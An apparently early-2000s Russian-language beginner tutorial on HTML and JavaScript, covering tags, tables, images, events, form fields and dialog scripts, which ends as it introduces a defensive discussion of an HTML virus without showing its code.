Гошко В.В. Создание веб-сайта просто о сложном

Гошко В.В.

Создание веб-сайта - просто о сложном

Часть I Основы HTML.

Давайте рассмотрим создание собственного сайта с нуля, но для начала вы должны знать, откуда всё это взялось и чем отличается HTML от XHTML, XML и WML. Язык гипертекстовой разметки HTML (HyperText Markup Language) базируется на SGML (Standard Generalized Markup Language), который был предложен в 1989 году и использует теговую систему. XML (eXtensible Markup Language) - новый стандарт оформления самых разнообразных документов, в том числе и Web-страниц. Уникальность XML заключается в его неограниченной расширяемости в силу четкой структурированности данных, возможности определения своих тегов и т.д. XHTML - это основанный на XML язык разметки гипертекста, максимально приближенный к текущим стандартам HTML. Применяется, как язык разметки, переходный от HTML к XML.

WML (Wireless Markup Language) - это основанный на XML язык разметки страниц, предназначенных для чтения на дисплеях сотовых телефонов и PDA. Отличается компактностью конструкций. Сейчас переживает бум, но в будущем, с развитием сотовой связи и совершенствованием клиентских устройств, уступит место "нормальным" версиям HTML и XML.Web страницей называется документ, представленный как совокупность элементов каждый из которых окружен дескриптором, т.е тегом (теги определяют область действия правил интерпретации электронного документа) иначе говоря документа написанного на HTML, XHTML, XML или WML.

Перед созданием самого сайта (web документа) нужно определиться для какой аудитории ваш сайт будет представлен и какого типа он будет (домашняя страница, портал, коммерческий проект) это нужно, чтобы знать какие языки программирования использовать и как оптимизировать свой сайт.

Например, один и тот же сайт по-разному смотрится в разных разрешениях монитора или разных браузерах, (т.к. браузер всего лишь интерпретирует конструкцию языка связанного с представлением информации). Если вы уверены что ваш сайт будут смотреть пользователи, использующие только определенный браузер, то следует сделать сайт как можно более работоспособным при разных разрешениях, но если вы не знаете, какой браузер будет использовать ваш посетитель (по большей части так и бывает) то следует сделать так чтобы сайт интерпретировался правильно хотя бы на трёх браузерах таких как Internet Explorer, Opera, Netscape Navigator. Статистика опросов по интернету показывает что Internet Explorer используют 55% пользователей, Opera используют 30%, Netscape Navigator всего лишь 10%, а отсавшиеся 5% другие браузеры, отсюда можно сказать что лучше всего сайт оптимизировать под Internet Explorer и Opera.

А теперь от теории перейдём к практике:

Теги НТМL-документов в большинстве своем просты для понимания и использования, ибо они образованы с помощью общеупотребительных слов английского языка, понятных сокращений и обозначений. НТМL-тег состоит из имени, за которым может следовать необязательный список атрибутов тега. Текст тега заключается в угловые скобки (< и >), регистр букв в скобках не важен. Простейший вариант тега - имя, заключенное в угловые скобки, например <HEAD> или <I>. Для более сложных тегов характерно различие атрибутов, которые могут иметь конкретные параметры, определенные автором для видоизменения функции тега.

Атрибуты тега следуют за именем и отделяются друг от друга одним или несколькими знаками табуляции, пробелами или символами возврата к началу строки. Порядок записи атрибутов в теге значения не имеет. Значение атрибута (или параметр), если таковое имеется, следует за знаком равенства, стоящим после имени атрибута. Если значение атрибута - одно слово или число и содержит только английские буквы, цифры, точки и тире, то его можно просто указать после знака равенства, не выделяя дополнительно. Все остальные значения необходимо заключать в одинарные или двойные кавычки, особенно если они содержат несколько разделенных пробелами слов. Длина значения атрибута ограничена 1024 символами. Чаще всего НТМL-теги состоят из начального и конечного компонентов, между которыми размещаются текст и другие элементы документа. Имя конечного тега идентично имени начального, но перед именем конечного тега ставится косая черта (/) (например, для тега стиля шрифта - курсив <I> закрывающая пара представляет собой </I>, для тега заголовка <ТIТLЕ> закрывающей парой будет </ТIТLЕ>). Конечные теги никогда не содержат атрибутов.

При использовании вложенных тегов в документе следует соблюдать особую аккуратность. Вложенные теги нужно закрывать, начиная с самого последнего и двигаясь к первому. Некоторые НТМL-теги не имеют конечного компонента, поскольку они являются автономными элементами. Например, тег изображения, <IMG>, который служит для вставки в документ графического изображения, конечного компонента не требует. К автономным тегам также относятся разрыв строки (<BR>), горизонтальная линейка (<HR>) и теги, содержащие такую информацию о документе, которая не влияет на его отображаемое содержимое, например теги <META> и <BASE>.

Общая схема построения контейнера в формате HTML может быть записана в следующем виде:


													<"имя тега" "список атрибутов">

													содержание контейнера

													</"имя тега">

Здесь список атрибутов не обязателен, содержание контейнера тоже, всегда обязательно писать имя тега. Главная конструкция файла HTML:


													1. <HTML>

													2. <HEAD>

													3. <TITLE>Заголовок страницы</TITLE>

													4. </HEAD>

													5. <BODY>

													Наполнение, текст сайта

													6. </BODY>

													7. </HTML>

Пункты 1, 7 открывают и закрывают основной тег <HTML>, таким образом, говоря браузеру что страница использует HTML. Пункты 2, 4 (хорошо показывают конструкцию контейнера которую я описывал выше, в этом случае содержанием контейнера является другой вложенный контейнер <TITLE>) открывают и закрывают тег <HEAD>, внутри тега нужно размещать стили, яваскрипты, метатеги и т.д. Пункт 3 открывает и закрывает тег <TITLE>, внутри тега задается заголовок страницы. Пункты 5, 6 открывают и закрывают тег <BODY>, внутри тега задается основной текст(наполнение) страницы т.е. ссылки, таблицы, изображения, параграфы, списки, кнопки, флажки, переключатели, выпадающие меню и т.д.(в таком же порядке мы будем всё рассматривать).

Атрибуты тега :

BACKGROUND = PIC, где PIC путь к вашему изображению

BACKCOLOR = #RRGGBB Цвет фона

ТЕХТ = #RRGGBB Цвет текста

VLINK = #RRGGBB Цвет пройденных гипертекстовых ссылок

LINK = #RRGGBB Цвет гипертекстовой ссылки

В данной таблице строка #RRGGBB определяет цвет в терминах RGB в шестнадцатеричной нотации. Для примера: красный - #FF0000, зеленый -#00FF00, синий - #0000FF.

Теги, управляющие формой отображения


												<I>...</I> - Курсив (Italic)

												<B>...</B> - Усиление (Bold)

												<U>...</U> - Подчеркивание (Underline)

												<S>...</S> - Перечеркнутый текст (Strike)

												<TT>...</TT> - Телетайп (Teletype)

												<BIG>...</BIG> - Увеличенный фонт

												<SMALL>...</SMALL> - Уменьшенный фонт

												<SUB>...</SUB> - Подстрочные символы

												<SUP>...</SUP> - Надстрочные символы

Теги, характеризующие тип информации


												<ЕМ>...</ЕМ> - Типографское усиление

												<CITE>...</CITE> - Цитирование

												<STRONG>...</STRONG> - Усиление

												<CODE>...</CODE> - Отображает примеры кода (например, коды программ)

												<SAMP>...</SAMP> - Последовательность литералов

												<KBD>...</KBD> - Пример ввода символов с клавиатуры

												<VAR>...</VAR> - Переменная

												<DFN>...</DFN> - Определение

												<Q>...</Q> - Текст, заключенный в скобки

Теги, управляющие формой отображения и теги, характеризующие тип информации допускают вложенность и пересечение друг другом, поэтому все они имеют тег начала и конца. При использовании этих тегов следует помнить, что их отображение зависит от настроек программы-интерфейса пользователя, которые могут и не совпадать с настройками программы-разработчика гипертекста. Использование стилей, которые подменяют настройки интерфейса, в настоящий момент проблематично.

Ссылки

Для записи гипертекстовых ссылок в системе WWW (World Wide Web) была разработана специальная форма, которая называется URL (Universe Resource Locator). Типичным примером использования этой записи можно считать следующий пример:

Этот текст содержит

<A HREF="http://www.someserver.com/mysite/index.html">гипертекстовую ссылку</A>

В приведенном выше примере тег “A”, который в HTML называют якорем (anchor), использует атрибут “HREF”, который обозначает гипертекстовую ссылку (Hypertext REFerence), для записи этой ссылки в форме URL. Данная ссылка указывает на документ с именем “index.html” в директории “mysite” на сервере “www.someserver.com”, доступ к которому осуществляется по протоколу “http” (Hypertext Transfer Protocol).

У гиперссылки есть атрибут TARGET со значениями:

"_new" - новое окно
"_self" - то окно или кадр, где находится ссылка
"_blank" - чистое окно
"_top" - верхнее окно, то есть полный экран, а не кадры
"имя_окна" имя целевого окна или целевого кадра

Тег <BASE> связан с формой представления гипертекстовой ссылки в форме URL. Дело в том, что спецификация URL определяет две формы адресации документов: полную и неполную. HTML разрешает использовать как полную форму адреса URL, так и неполную. Но для того, чтобы использовать вторую форму спецификации, ее надо на чем-то базировать, т.е. задавать базовый адрес, который можно было бы использовать для формирования полной формы URL из неполной. Тег <BASE> позволяет определить эту базу. Так, например, если между тегами <HEAD> и </HEAD> будет задано:

<BASE HREF=”http://www.someserver.com/”>

гипертекстовая ссылка вида:

<A HREF=”/mysite/index.html”>

будет расширена до

<A HREF=”http://www.someserver.com/mysite/index.html”>

Это же касается и других импортируемых в документ тегов или тегов использующих “источник” (SRC сокращение от SouRCe - источник). Графический образ, монтируемый в документ по команде:

<IMG SRC="/img/test.gif">

будет найден по адресу:

<IMG SRC=”http://www.someserver.com/mysite/img/test.gif”>

Содержание тега <BASE> интерфейсом пользователя прямо не отображается.

Таблицы

Сейчас я расскажу как нужно правильно создавать таблицы, начнем с этого примера:

Вот текст этого файла:


												1. <HTML>

												2. <HEAD>

												3. <TITLE>Создание таблиц</TITLE>

												4. </HEAD>

												5. <BODY>

												6. 	<TABLE BORDER=1>

												7. 	<TR>

												8. 		<TH>Заголовок центрирован по умолчанию</TH>

												9. 		<TH COLSPAN=2>Заголовок может объединять столбцы</TH>

												10. 	</TR>

												11. 	<TR>

												12.		<TH>Заголовок может быть расположен перед столбцами</TH>

												13.		<TD>Текст или данные</TD>

												14.		<TD>Текст или данные</TD>

												15.	</TR>

												16.	<TR>

												17.		<TH ROWSPAN=3> Заголовок может объединять строки</TH>

												18.		<TD>Текст или данные</TD>

												19.		<TD>Текст или данные</TD>

												20.	</TR>

												21.	<TR>

												22.		<TD>Текст или данные</TD>

												23.		<TD>Текст или данные</TD>

												24.	</TR>

												25.	<TR>

												26.		<TD>Текст или данные</TD>

												27.		<TD>Текст или данные</TD>

												28.	</TR>

												29. 	</TABLE>

												30. </BODY>

												31. </HTML>

Пункты 1, 2, 3, 4, 5, 30, 31 нужны для создания главной конструкции файла и для правильного отображения файла в браузере. А теперь рассмотрим пункты 6, 29 они открывают и закрывают тег <TABLE> у которого я применил параметр border (он означает толщину границы, в пикселях) без кавычек, как писалось выше здесь их можно опустить. У тега <TABLE> также есть такие атрибуты:

SUMMARY = X, где X текст задающий тип таблицы, который будет виден только в неграфических браузерах, обычно авторы никогда не используют его

CELLPADDING = X, где X длина отступа от наполнения в ячейки (в пикселях)

CELLSPACING = X, где X длина отступа от краев ячейки (в пикселях)

ALIGN = left, center, right, этот параметр выравнивает таблицу по левому краю (центру, правому краю), вообще говоря <table align=center> - конструкция принципиально неверная. Атрибут align в <TABLE> предназначен для того, чтобы задать обтекание таблицы текстом, так же, как аналогичный атрибут в теге <IMG>, поэтому правильно делать так (хотя в браузерах выше 4 версии align=center, работает корректно):


												1. <div style="align:center"><table>

												2. <!-- здесь кавычки обязательны т.к. используем стиль //-->

												3. ...наполнение

												4. </table></div>

В пункте 1 параметр атрибута style должен быть в кавычках. В пункте 2, я использовал комментарий, который не будет отображаться ни в каком браузере (по крайней мере, не должен ). Синтаксис комментария в HTML прост : не допускается пробел между “<!” и “--“, но разрешен пробел между “--“ и “>”. Типичная ошибка - использование цепи дефисов (“---“) в пределах комментария. Нужно избегать помещения двух или более смежных дефисов внутри комментариев.

Вернемся к таблице, тег <TR> открывает “строку” т.е. в вертикальном положении в один ряд можно будет расположить сколько угодно ячеек. Можно использовать вложенную структуру, т.е. в <TD> вставлять <TABLE> и т.д.. Тег <TD> (ячейка) отличается от тега <TH> (заголовок) тем что в <TH> текст по умолчанию жирный и центрирован, а в <TD> текст нежирный и привязан к левому краю (align=left). Ячейки, заголовки могут объединять строки (rowspan) и столбцы (colspan), они имеют также такие атрибуты как:

ALIGN = left, center, right. как и в <TABLE> только конструкция верная потому что привязывает текст.

VALIGN = top, значит текст в ячейки будет привязан к верху

VALIGN = middle, значит посередине (рассчитывается по размеру)

VALIGN = bottom, значит к низу.

Графика и изображения.

Самыми распространенными графическими форматами веб являются GIF и JPEG, потому что они занимают мало места на жестком диске без особой потере качества. Для создания прозрачной графикия рекомендую PhotoShop 6.0, а для анимированых GIF’ов советую GIFShaker.

Теперь рассмотрим, как вставить изображение в Web-документ. Тегом HTML, который заставляет браузер выводить изображение, является <IMG> со следующим общим форматом:


													<IMG SRC=PIC WIDTH=X HEIGHT=X ALT=X BORDER=X>

Давайте посмотрим на атрибуты:

SRC = PIC, где PIC путь к вашему изображению

WIDTH = X, где X ширина изображения

HEIGHT = X, где X высота изображения

Если вы не укажите размеры графических изображений, то браузер будет загружать каждую картинку целиком и только после этого переходить к загрузке текста. Это занимает время. Если размеры заданы, многие ведущие браузеры смогут начертить ограничивающий прямоугольник нужного размера и начнет заливать его изображением. Если на странице есть другие графические объекты браузер продолжит работу с другими частями страницы, продолжая заполнять ограничивающий прямоугольник.

ALT = X, где X текст который будет отображаться у пользователей браузеры которых смотрят только текст чтобы (или если в браузере отключен режим графики), получить представление о том, что за графика расположена на странице или каковы ее цели. Micrisoft Internet Explorer показывает текст из атрибута ALT в ограничивающем прямоугольнике, пока загружается графика, посетитель страницы может начать читать текст. Такая методика работы - жест вежливости по отношению к своим читателям, а Netscape Navigator выводит этот текст в том случае, если режим Auto Load Image выключен.

BORDER = X, где X толщина окружающей границы, обычно границы нет (если только атрибут не больше еденицы), она появляется когда контейнером якоря (<A></A>) является изображение (т.е. тег <IMG>)

Теперь рассмотрим, вот этот пример (не забывайте соблюдать главную конструкцию HTML файла):


												<IMG SRC=”R3D_DR4G0N.GIF” WIDTH=160 HEIGHT=136 ALT=”R3D_DR4G0N”>

												<A HREF=”LINK1.HTM”><IMG SRC=”R3D_DR4G0N.GIF” WIDTH=160 HEIGHT=136 ALT=”R3D_DR4G0N”></A>

Динамическое создание информационного наполнения. Часть II JavaScript.

В этой части я расскажу о JavaScript c некоторыми аналогичными примерами на VBScript.

JavaScript – это встроенный мультиплатформенный, интерпритируемый язык, созданный компанией Netscape. JavaScript позволяет расширять функциональные возможности веб-документов, встраивая прикладной код непосредственно в код HTML. С помощью этого языка можно создавать приложения с широким диапазоном: начиная от применения средств взаимодействия пользователей на Web-страницах и зканчивая обменом информацией с базами данных.

JavaScript полностью отличается от Java. Java - объектно-ориентированный язык программирования, разработаннный Sun Microsystems. Ему нужны компиляторы и служебные файлы для функционирования. Программы, разработанные на JDK (Java Development Kit), могут работать:

как автономные прикладные программы
как апплеты (applet, от англ. слова яболко (apple) - "маленькое приложение") в HTML страницах
как Java-servlets - "добавки" к Javaservlet-ready серверам, которые инкапсулируются в веб-сервер и работают как бинарный создатель информации, унаследовавший необходимое от веб-сервера и добавивший что-либо своё.

JavaScript "родственник" Java, только содержит меньший и более простой, немного измененный, набор команд. Структура JavaScript и его синтаксис подобен Java, но JavaScript функционален только когда включен как часть HTML страницы (на это указывает и его название "ЯваСценарий"). Вы не можете разрабатывать автономные прикладные программы на JavaScript. Он может использоваться:

в виде сценария внутри HTML в браузере, совместимом с Netscape 2.0
как сценарий, исполняемый поддерживающим такие сценарии сервером

JScript был "разработан" Microsoft. Функционально это тоже самое, что и JavaScript. Названия разные из-за того, что JavaScript был уже запатентован Netscape к тому времени, как Microsoft решила встроить в свой браузер поддержку JavaScript. Вторая причина в том, что JScript не полностью следует спецификации Netscape, и эти отличия дают немало радостных минут тем, кто заботится о поддержке всех клиентских агентов.

В этой части мы рассмотрим все события, создание кнопок, текстовых полей (прокручиваемых), меню, флажков и переключателей.

Начнем с рассмотрения событий:

OnAbort – активизиуется, когда пользователь прерывает загрузку изображения, либо выполнив щелчок на другой ссылке, либо нажав кнопку Stop. Используется в объектах: Image.

OnBlur – активизируется, когда окно, кадр или элемент формы теряют фокус. Используется в объектах: Button, Checkbox, FileUpload, Layer, Password, Radio, Reset, Select, Submit, Text, Textarea, Window.

OnChange – активизируется, когда поле формы select, text или textarea теряет фокус. Используется в объектах: FileUpload, Select, Text, Textarea.

OnClick – активизируется при выполнении щелчка на объекте. Используется в объектах: Button, Checkbox, Document, Link, Radio, Reset, Submit.

OnDblClick – активизируется при выполнении двойного щелчка на объекте. Используется в объектах: Document, Link.

OnDragDrop – активизируется, когда пользователь перетаскивает такой объект как файл, в окно. Используется в объектах: Window.

OnError – активизируется, когда загрузка документа или изображения вызывает ошибку. Используется в объектах: Image, Window.

OnFocus – активизируется, когда элемент window, frame, frameset или form получает фокус. Используется в объектах: Button, Checkbox, FileUpload, Layer, Password, Radio, Reset, Select, Submit, Text, Textarea, Window.

OnKeyDown – активизируется, при нажатии любой клавиши аналогичен OnKeyPress. Используется в объектах: Document, Image, Link, Textarea.

OnKeyUp – активизируется, при отжатии любой клавиши только учитывается то что эта клавиша была нажата до отжимания. Используется в объектах: Document, Image, Link, Textarea.

OnLoad – активизируется, когда завершается загрузка всего инфорамационного наполнения в окно или всех кадров в набор кадров. Может быть также активизирован в результате загрузки изображения. Используется в объектах: Image, Layer, Window.

OnMouseDown – активизируется при нажатии любой кнопки мыши, аналогичен OnKeyDown. Использется в объектах: Button, Document, Link.

OnMouseUp – активизируется при отжимании любой кнопки мыши только учитывается то что эта кнопка была нажата до отжимания. Используется в объектах: Button, Document, Link.

OnMouseMove – активизируется, когда пользователь перемещает курсор. OnMouseOver – активизируется, когда пользователь перемещает курсор над объектом. Используется в объектах: Layer, Link.

OnMove – активизируется, когда сценарий (script) или пользователь перемещает окно или кадр. OnReset – активизируется, когда пользователь сбрасывает форму путем нажатия кнопки Reset. Используется в объектах: Form.

OnSelect – активизируетс, когда пользователь выбирает какой-то текст в поле формы text или textarea. Используется в объектах: text, textarea.

OnSubmit – активизируется, когда пользователь подтверждает ввод формы, нажав кнопку submit. Используется в объектах: Form.

OnUnload – активизируется при выходе из документа. Используется в объектах: Window.

Вообще чем новее браузер тем больше событий поддерживается и тем в больших колличесвах объектов может быть использовано событие.

В браузерах выше 4 версии появилось такая новая функция как void(0) которая позволяет делать гипертекстовый переход пустым:

<a href=”JavaScript:void(0);”>при нажатии на эту ссылку ничего не произойдёт</a>

Во всех этих событиях пречисленных выше не нужно применять тип JavaScript как в гиперссылках, пример:

<a href=”JavaScript:alert(‘OK’);”>ok</a>

												<a href=”JavaScript:void(0);” onClick=”alert(‘OK’)”>ok</a> - как видно, выше приходилось писать JavaScript: в событиях это не нужно писать.

Вы наверно зададите такой вопрос: “А если в href написать страницу и указать какое нибудь действие на событие onСlick? Что будет?”. А будет вот что, вначале выполнится действие события, а потом вы перейдёте по адресу, который задали в href. В событиях также можно сразу писать и сценарии, вот пример:

<a href="http://www.somesite.com/" onClick="if(confirm('Вы действительно хотите на главную страничку?')) alert('Никаких проблем!'); else alert('Отмена не принята, идите на главную страничку.');">Вопрос</a>

Для создания любого скрипта для начала следует хорошо продумать о его используемости в документе. Давайте сразу разберемся, что может явасценарий и чего он неможет. ЯваСценарий не может открывать файлы для чтения, записи.

Точнее говоря он может открывать файлы для чтения записи, но, используя объект ActiveX об этом расскажу чуть попозже в рассмотрении вируса HTML.lame на явасценарии.

Рассмотрим простой способ отображения текста в статусбаре:


												<A HREF=”SOMELINK.HTM” ONMOUSEOVER=”WINDOW.STATUS=’YOUR TEXT’; RETURN TRUE” ONMOUSEOUT=”WINDOW.STATUS=’’”>YOUR LINK 1</A>

Здесь используем события OnMouseOver и OnMouseOut.

В этом случае при наведении на ссылку “YOUR LINK 1” в статусбаре будет отображаться “YOUR TEXT” при отводе курсора от ссылки статусбар очищается.

Кнопки, текстовые поля, меню флажки, переключатели

Здесь я опишу, как создавать системные кнопки, текстовые поля, флажки и переключатели.

Кнопки

Submit (Отправить)
Reset (Сброс)
Button (Кнопка)

Кнопка типа Submit используется для передачи всех вводимых данных из полей формы в сценарий CGI (об этом ниже) указаный в теге <form action=”твой_сценарий.cgi”>. Эта кнопка является обязательной для любой формы.

Кнопка типа Reset используется для сброса всех введённых данных в форме. Кнопка Reset не является обязательной, но всё-таки хорошим тоном является наличие её в форме.

Кнопка типа Button может использоваться в любом месте документа, но у неё нет никакого действия, поэтому придется использовать событие onClick.

Общая схема создания кнопки:


												<input type=button value=надпись_на_кнопке onClick=”JavaScript:”>

Однострочные поля

Однострочное текстовое поле точно соотвесвует своему названию: в него можно вводить одну строку текста. Это может быть один единственный символ, одно слово или целое предложение. Можно изменять ширину текстового поля, а также максимально возможное количество символов, вводимых в это поле.

Однострочное текстовое поле имеет следующие атрибуты:

Input type = “text” – указывает браузеру что это однострочное текстовое поле.

Name= – используется в качестве уникального идентификатора во время передачи информации сценарию.

Maxlength= – максимальное кол-во символов которое можно вводить в текстовое поле

Value= – текст в поле по умолчанию

Size= – длина поля (в символах)

Также аналогичный тип(type) password он отличается от text только тем, что вы введете в поле будет отображено звёздочками.

Многострочные поля

Прокручиваемое текстовое поле аналогично однострочному текствому полю, однако при обращении к прокручиваемому полю можно вводить не одну, а несколько строк текста.

Прокручиваемое поле создается несколько по-инному, если другие элкменты формы указываются с помощью конструкции <input type=””>, то данный элемент указывается с помощью парного тега <textarea>, а теперь атрибуты:

Name= – как и других элементов формы

Rows= – определяет значение высоты поля (в виде кол-ва строк)

Cols= – определяет отображаемую ширину поля (в виде кол-ва символов)

Wrap= – этот атрибут можно использовать в виде wrap=”virtual”, тогда по достижении значения длины строки, указанной атрибутом cols, текст будет переходить на новую строку автоматически. Эта возможность может оказаться весьма полезной для пользователей.

Выпадающее меню

Иногда подобные меню называют разворачивающимися, поскольку они отображаются в виде однострочного поля с небольшой стрелкой в правой части. Если щелкнуть на стрелке развернется все меню, в котором может быть представлено некоторое количество опций.

Создаётся оно тегом парным <select>, с следующими атрибутами:

Name= – как и выше у других элементов формы

Size= – устанавливает размер по вертикали или кол-во отображаемых строк

Multiple – разрешает пользователю выбирать в меню несколько опций одновременно.

Selected – применяется если вы желаете указать опцию, выбираемую по умолчанию

Схема создания меню (Заодно приведу пример скрипта перехода на страницу по выбору элемента):

Скрипт вставить между <head> и </head>


												<script language="JavaScript">

												<!--

												function check(page)

												{

												    if (page != "none")

												    {

												        document.location=page

												    }

												    else

												    {

												        alert('Please select page !')

												    }

												}
												// -->

												</script>

А это между <body> и </body>


												<form name="form1">

												<select name="pulldown">

												  <option value="none" selected>Please select script

												  <option value="one.htm">Script 1

												  <option value="two.htm">Script 2

												</select>

												
												<input type="button" value="   GO   " onClick="check(document.form1.pulldown.options[form1.pulldown.selectedIndex].value)">

												</form>

Флажки

Флажки позволяют выделить пользователю несколько опций в наборе флажков с одинаковым наименованием, например “тип”. Значение возвращаемой при этом сценарию переменной определяется тем, какие флажки составляют этот набор “типов”. Предположим, необходимо опросить пользователей, какие жанры игр они предпочитают. Большая часть пользователей предпочитают не одно направление в играх, поэтому нужно дать им возможность выбрать несколько типов из набора “игры”. Для реализации этого варианта следует просто установить атрибут NAME для всех флажков набора “игры”, а также установить “значение” для каждого типа “игры”.

Схема создания флажка, а также атрибуты:


												<input type=checkbox name=”age” value=”17-21”>

Атрибуты:

Name= – как обычно…

Value= – это значение пересылается сценарию, если соответствующее ему поле было выделено

Checked – если для поля input указан этот атрибут, при отображении его на экране оно будет иметь статус выбранного

Disabled – если для поля input указан этот атрибут, поле отображается, но пользователь не может установить этот флажок

Переключатели

Переключатели подобны флажкам, с помощью которых можно выбрать один из предлагаемых вариантов. Но переключатель позволяет выбрать только одну опцию из предлагаемого набора. Каждая опция в этом наборе получает одни и те же атрибуты NAME, и разные VALUE – точно так же как и в случае с флажками.

Схема:


												<input type=radio name=”radio_opt1” value=”yes”>

Атрибуты такие же как и у флажков.

А теперь всё вместе...

Все приведенные input’ы выше в одном примере (или форма отправки e-mail):

Скрипт как обычно вставить между <head> и </head>


												<script language="JavaScript" type=”text/javascript”>

												<!--

												function mailform(){

												    error = "";

												    mailfailed = "";

												    ne = "    Вы не ввели : \n";

												    if(mail_form.Name.value == "")

												    {

												        error += "    - Имя\n";

												    }
												    if(mail_form.Subject.value == "")

												    {

												        error += "    - Тему\n";

												    }

												    if(mail_form.Comments.value == "")

												    {

												        error += "    - Сообщение\n";

												    }

												    if(mail_form.Mail.value == "")

												    {

												        error += "    - e-mail\n";

												    }

												    else

												    {

												        if((mail_form.Mail.value.indexOf('@') == -1) || (mail_form.Mail.value.indexOf('.') == -1))

												        {

												            mailfailed = "Вы ввели неверный e-mail\n";

												            if(error == "")

												            {

												                ne = "";

												            }

												        }

												    }

												    if((error != "") || (mailfailed != ""))

												    {

												        alert('Ошибки !!!\n\n'+ne+error+mailfailed);

												    }

												    else

												    {

												        mail_form.submit();

												    }

												}

												//-->

												</script>

Этот скрипт проверяет данные, введенные в форму, а также на правильность e-mail, работает так: если в поле e-mail’a не будет найдены “@” и “.” то “ошибка”.

А всё остальное вставить между <body> и </body>:


												<FORM NAME = "mail_form" ACTION = "mailto:r3d_drag0n@ukr.net?subject=Mark of your site" METHOD = "POST" ENCTYPE = "text/plain">

												<INPUT TYPE = "hidden" SIZE = 0 NAME = "Host" value="<!--#echo var='REMOTE_HOST'-->">

												<INPUT TYPE = "hidden" SIZE = 0 NAME = "IP" value="<!--#echo var='REMOTE_ADDR'-->">

												<table>

												

												<tr><td colspan=2>Поля отмеченые звездочкой обязательны !</td></tr>

												

												<tr>

												<td> * Имя:</td>

												<td><INPUT TYPE = "text" NAME = "Name" size="30"></td>

												</tr>

												

												<tr>

												<td> * e-mail:</td>

												<td><INPUT TYPE = "text" NAME = "Mail" size="30"></td>

												</tr>

												

												<tr>

												<td>Возраст:</td><td><input type=radio name=age value="0-8" checked> - (0-8) <input type=radio name=age value="8-16"> - (8-16) <input type=radio name=age value="16-24"> - (16-24) <input type=radio name=age value="24-32"> - (24-32) <input type=radio name=age value="8-16" disabled> - (32-40)</td>

												</tr>

												

												<tr>

												<td> * Тема:</td>

												<td><INPUT TYPE = "text" NAME = "Subject" size="30"></td>

												</tr>

												

												<tr>

												<td>Город:</td>

												<td><INPUT TYPE = "text" NAME = "City" size="30"></td>

												</tr>

												

												<tr>

												<td>Ваш сайт:</td>

												<td><INPUT TYPE = "text" NAME = "Site" size="30" value="http://"></td>

												</tr>

												

												<tr>

												<td>Оценка сайта :</td>

												<td>

												    <select name=mark>

												        <option value="none">Пожайлуста оцени мой сайт !

												        <option value="1 бал">1 балл

												        <option value="2 балла">2 балла

												        <option value="3 балла">3 балла

												        <option value="4 балла">4 балла

												        <option value="5 баллов">5 баллов

												    </select>

												</td>

												</tr>

												

												<tr>

												<td> * Сообщение:</td>

												<td><TEXTAREA NAME="Comments" COLS=50 ROWS=8></TEXTAREA></td>

												</tr>

												

												<tr>

												<td>Интересы:</td>

												<td>

												<input type=checkbox name=interests value="Games"> - Games<br>

												<input type=checkbox name=interests value="Music"> - Music<br>

												<input type=checkbox name=interests value="Images"> - Images<br>

												<input type=checkbox name=interests value="Software"> - Software<br>

												<input type=checkbox name=interests value="Hi-tech"> - Hi-tech<br>

												<input type=checkbox name=interests value="Hack" disabled> - Hack <br>

												</td>

												</tr>

												

												</table>

												

												<INPUT TYPE = "button" VALUE = "Отправить" onClick="mailform()"><INPUT TYPE = "reset" VALUE = "Очистить">

												</FORM>

												

												Обратите внимание на два скрытых поля(hidden):

												<INPUT TYPE="hidden" SIZE = 0 NAME="Host" value="<!--#echo var='REMOTE_HOST'-->">

												<INPUT TYPE="hidden" SIZE=0 NAME="IP" value="<!--#echo var='REMOTE_ADDR'-->">

Они передают IP адрес пользователя и Host.

Методы окон

Скрипт 0.1


												1.	<script language=”JavaScript” type=”text/javascript”>

												2.	<!-- скрытие текста от старых браузеров

												3.	function say(txt){

												4.	    window.alert(txt);

												5.	}

												6.	//-->

												7.	</script>

Скрипт 0.2


												1.	<script language=”JavaScript” type=”text/javascript”>
												2.	<!--
												3.	function question(){
												4.	    if(window.confirm(‘Do you like this script???’)){
												5.	        document.write(‘Thank you !!!’);
												6.	    }else{
												7.	        document.write(‘Why?’);
												8.	    }
												9.	}
												10.	//-->
												11.	</script>

Скрипт 0.3


												1.	<script language=”JavaScript” type=”text/javascript”>
												2.	<!--
												3.	function prompt1(){
												4.	    ask = window.prompt(‘What is your name ?’,’’);
												5.	    if(ask == null){
												6.	       window.alert(‘its ok if you dont want tell me your name !’);
												7.	    }else{
												8.	         document.write(‘Your name is :’+ask);
												9.	    }
												10.	}
												11.	//-->
												12.	</script>

А теперь рассмотрим всё по порядку. В скрипте 0.1 во второй строчке я написал “<!-- скрытие текста от старых браузеров” вообще-то эта строчка представляет собой простой комментарий HTML, но здесь он непрост. Если браузер не будет знать какой ни будь функции скрипт не будет работать и текст будет отображен в документе, а этот комментарий запрещает отображение текста в браузере. Все эти скрипты упрощают работу с ЯваСценарием. Так, например если вызвать функцию say скрипта 0.1 с аргументом “cool” (для примера: <a href=”JavaScript:say(‘cool’)”>cool</a>) то функция выведет окошко с текстом “cool”. Вот аналогичный пример скрипта только на VBScript:


												1.	<script language="VBScript">

												2.	<!--

												3.	Sub window_onLoad()

												4.	    show_msgbox

												5.	end sub

												6.	Sub show_msgbox()

												7.	    dim intButton

												8.	    intButton = msgbox ("Надпись в окне", 4 + 64, "Надпись в заголовке")

												9.	    If intButton = 6 then

												10.	    location.href="http://www.somesite.com/"

												11.	    end if

												12.	    If intButton = 7 then

												13.	    location.href="http://www.someothersite.com"

												14.	    end if

												15.	end sub

												16.	-->

												17.	</script>

Скрипт 0.2 это скрипт вопрос т.е если вы отвечаете да(ок) то выполняется какое-то действие в данном случае document.write(‘Thank you’). А если вы отвечаете нет(cancel), то тоже выполняется какое-то действие в данном случае document.write(‘Why?’).

И третий тип открытия окна это промпт. Рассмотрим скрипт 0.3. Он работает следующим образом: вызывается окно промпт у которого две кнопки(ok, cancel) и которое ожидает какого ни будь текста в данном случае ввода имени, если нажать кнопку cancel то выведется окно (как в скрипте 0.1) с текстом “its ok if dont want tell me your name !”. А если ввести какой ни будь текст тогда выполнится document.write(‘Your name : ’+ask) т.е в документе выведется надпись следующего содержания Your name : <то что вы ввели>.

Теперь рассмотрим вирус HTML.lame написанный Bumblebee.

Разве HTML вирусы угроза для пользователей? Наверно вы подумали.… Зачем тратиь время ища и удаляя новые вирусы если пользователь не может быть заражен? Правильно? Почти .Здесь я объясняю, как работает вирус не для того чтобы вы делали свои , а для того чтобы знать, как он работает и как с ним бороться, а также здесь показано применение ActiveX.

